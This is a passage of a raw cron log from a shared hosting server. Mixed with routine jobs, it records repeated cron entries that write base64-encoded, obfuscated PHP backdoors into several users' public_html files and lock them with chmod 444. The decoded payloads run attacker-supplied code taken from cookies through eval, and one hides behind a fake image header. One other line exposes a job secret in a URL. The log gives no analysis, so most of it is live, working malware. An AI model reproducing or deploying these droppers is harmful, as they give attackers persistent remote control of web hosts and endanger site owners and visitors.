VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:31:01 medusa CROND[9814]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:31:01 medusa CROND[9815]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:31:01 medusa CROND[9816]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:31:01 medusa CROND[9818]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:31:01 medusa CROND[9820]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:31:01 medusa CROND[9823]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:31:01 medusa CROND[9817]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 23:32:01 medusa CROND[15016]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:32:01 medusa CROND[15017]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 23:32:01 medusa CROND[15141]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:32:01 medusa CROND[15148]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:32:01 medusa CROND[15151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:32:01 medusa CROND[15152]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:32:01 medusa CROND[15153]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:32:01 medusa CROND[15154]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:32:01 medusa CROND[15155]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:32:01 medusa CROND[15157]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:32:01 medusa CROND[15161]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:32:01 medusa CROND[15166]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:32:01 medusa CROND[15167]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:33:01 medusa CROND[21502]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:33:01 medusa CROND[21504]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:33:01 medusa CROND[21503]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 23:33:01 medusa CROND[21505]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:33:01 medusa CROND[21506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:33:01 medusa CROND[21507]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:33:01 medusa CROND[21508]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:33:01 medusa CROND[21509]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:33:01 medusa CROND[21510]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:33:01 medusa CROND[21515]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:33:01 medusa CROND[21530]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgk